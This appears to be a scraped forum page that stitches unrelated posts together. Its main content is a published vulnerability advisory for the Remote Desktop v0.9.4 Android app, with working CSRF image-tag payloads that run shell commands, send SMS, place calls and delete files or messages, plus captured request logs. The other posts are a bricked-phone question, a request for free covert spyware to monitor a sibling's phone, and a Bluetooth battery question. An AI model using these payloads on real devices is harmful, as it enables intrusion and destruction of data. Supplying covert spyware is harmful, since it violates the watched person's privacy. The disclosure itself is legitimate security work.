research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: [url]http://www.coresecurity.com[/url]. 13. *Disclaimer* The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: [url]http://creativecommons.org/licenses/by-nc-sa/3.0/us/[/url] 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at [url]http://www.coresecurity.com/files/attachments/core_security_advisories.asc[/url]. Source

Salut, am un Samsung GT-N7000, am incercat sa instalez alt android, toate bune pana cand am flashuit telefonu, am intrat in system recovery am incercat sa instalez un android si dupa un restart numai pot intra in System Recovery, am intrat in modu de download insa pc-ul nu il recunoaste, ce pot face ?¿

Document Title: =============== Remote Desktop v0.9.4 Android - Multiple Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1413 Release Date: ============= 2015-01-20 Vulnerability Laboratory ID (VL-ID): ==================================== 1413 Common Vulnerability Scoring System: ==================================== 4.4 Product & Service Introduction: =============================== Remote Desktop brings order to your Droid. View and retrieve all the contents of your phone such as documents, photos, videos. All you need is a standard web browser (! the latest Chrome or Firefox !) and Remote Desktop will allow you interact with your phone as easily as a PC. (Copy of the Homepage: http://remote-desktop.android.informer.com/0.9.4/ & https://play.google.com/store/apps/details?id=pl.androiddev.mobiletab ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered multiple web vulnerabilities in the Remote Desktop v0.9.4 Android mobile web-application. Vulnerability Disclosure Timeline: ================================== 2015-01-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Damian Kolakowski Product: Remote Desktop - Android Mobile Web Application 0.9.4 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple vulnerabilities has been discovered in the Remote Desktop v0.9.4 Android mobile web-application. The mobile web-application is vulnerable to a combination of cross site request forgery and local command injection attacks. 1.1 The local command injection vulnerability is located in `cmd` value of the `/api/sms` file. The remote attackers performs a client-side request and manipulates the `cmd` value to compromise the web-app by a local command injection. The security risk of the local command/path inject vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 5.5. Exploitation of the command/path inject vulnerability requires no privileged android device user account or user interaction. Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and unauthorized path value requests to compromise the mobile android application and the connected device. Request Method(s): [+] [GET] Vulnerable Module(s): [+] /api/sms Vulnerable Parameter(s): [+] cmd=%3Cform%20action=api/[x]?cmd= 1.2 The cross site request forgery vulnerabilities are located in the `shell`,`sms`,`calllogs` and `files` sections of the android app. Remote attackers are able prepare special crafted URLs that executes client-side requests to execute application functions (delete,add, call, send). The requst method to execute a function in a client-side request is GET. The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.4. Exploitation of the client-side web vulnerability requires no privileged web-application user account but medium or high user interaction. Successful exploitation of the vulnerabilities result in non-persistent phishing mails, session hijacking, non-persistent external redirect to malicious sources and client-side manipulation of affected or connected module context. Request Method(s): [+] [GET] Vulnerable Parameter(s): [+] shell [+] sms [+] calllogs Proof of Concept (PoC): ======================= The vulnerabilities can be exploited by remote attackers without privileged application user account and with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. [REMOTE SHELL CODE EXECUTE VULNERABILI! CSRF ] <img src="http://localhost:8080/api/shell?cmd=execute&command=id&token=111111111111" width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /api/shell?cmd=execute&command=id&token=111111111111 HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK","working-directory":"\/","stderr":"","stdout":"uid=10257(u0_a257) gid=10257(u0_a257) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet)\n"} Send SMS <img src="http://localhost:8080/api/sms?cmd=send&token=111111111111&to=333&message=HELLO " width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /api/sms?cmd=send&token=111111111111&to=333&message=HELLO HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.3:8080/index.html?nocache=1421469722760 Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK","results":[{"id":1590,"address":"333"}], "thread":{"id":51,"read":false,"snippet":"HELLO","recipients_snippet":"333", "message_count":70,"date":1421476972278,"recipients":[{"id":51,"address":"333"}]}} Call Phone <img src="http://localhost:8080/api/calllogs?cmd=make_call&number=0674086422" width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /api/calllogs?cmd=make_call&number=0674086422 HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.3:8080/index.html?nocache=1421465315931 Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK"} Delete File <img src="http://localhost:8080/api/files?cmd=delete&sep=/&path=/file" width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /api/files?cmd=delete&sep=/&path=%2Fstorage%2Femmc%2FRWDFv5.9.5.apk HTTP/1.1 Host: 192.168.1.6:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://localhost:8080/index.html?nocache=1421449820153 Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK"} Call Phone <img src="http://localhost:8080/api/calllogs?cmd=make_call&number=0674086422" width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /api/calllogs?cmd=make_call&number=11111111111 HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://localhost:8080/index.html?nocache=1421465315931 Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK"} Delete all SMS <img src="http://localhost:8080/api/sms?cmd=delete_all" width="0" height="0" border="0"> GET /api/sms?cmd=delete_all HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.3:8080/index.html?nocache=1421465315931 Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK"} LOCAL COMMAND INJECTION VULNERABILITY shell?, sms?, calllogs?files? --- PoC Session Logs [GET] (Execution) --- GET /api/sms?cmd=%3Cform%20action=api/sms?cmd=[LOCAL COMMAND INJECTION VULNERABILITY!] HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive - Response {"response":"OK"} HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"Unknown command: [LOCAL COMMAND INJECTION VULNERABILITY!]"} Reference: http://localhost:8080/ Security Risk: ============== The security risk of the cross site request forgery issue and command injection vulnerability is estimated as medium. (CVSS 4.4) Credits & Authors: ================== Hadji Samir s-dz@hotmail.fr Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Source : Remote Desktop 0.9.4 Android CSRF / Command Injection ? Packet Storm

Salut,as avea nevoie de informatii daca e posibil,situatie e in felul urmator: am un frate mai mic care este usor influentabil si suspectez ca s-a apucat de prostii cu prietenii lui ... iar eu vreau sa ii pun un spy pe telefon sa monitorizez exact sa vad daca e asa,sa ma pot baga la timp inainte sa o ia pe cai gresite Stie Cineva vreun Keylogger/Spy pentru telefon cu sistem operare android care as putea sa il downloadez gratis,am cautat pe google dar am gasit doar softuri care cer foarte multi bani si chiar nu imi permit.Are cineva vreo idee de unde as putea obtine un programel sa monitorizez telefonul ? Multumesc Anticipat

Download link: https://github.com/google/material-design-icons/releases/tag/1.0.0 Source: Gizmodo.es

Sunt dispus sa lucrez la o aplicatie opensource, care sa _fie folositoare_ utilizatorilor acestui forum. Va invit la postat. - The red.

Am creat o aplicatie de android care consta intr-un client si un server. Comunicarea se face prin bluetooth sockets. Totul merge bine, serverul ruleaza in background si asteapta incontinuu conexiuni de la clienti. Problema este ca se descarca bateria prea repede pe telefonul pe care este instalat serverul. Un approach pe care l-am folosit ca sa realizez serverul si care pare sa manance repede din baterie este asta: BluetoothSocket bt_socket = null; BluetoothServerSocket bt_conn = null; try { bt_conn = bt.listenUsingRfcommWithServiceRecord("GEAR_SMS", UUID.fromString(uuid_str)); while (true) { bt_socket = bt_conn.accept(); new Thread(new BtSocket(bt_socket)).start(); } } catch (Exception e) { e.printStackTrace(); } In marea parte a timpului serverul este idle si doar asteapta conexiuni, deci consumul ridicat de baterie se poate rezuma doar la bucata asta: while (true) { bt_socket = bt_conn.accept(); } Exista alta metoda de a realiza astfel de conexiuni intre client si server, dar fara a consuma bateria? Sau fac eu ceva gresit?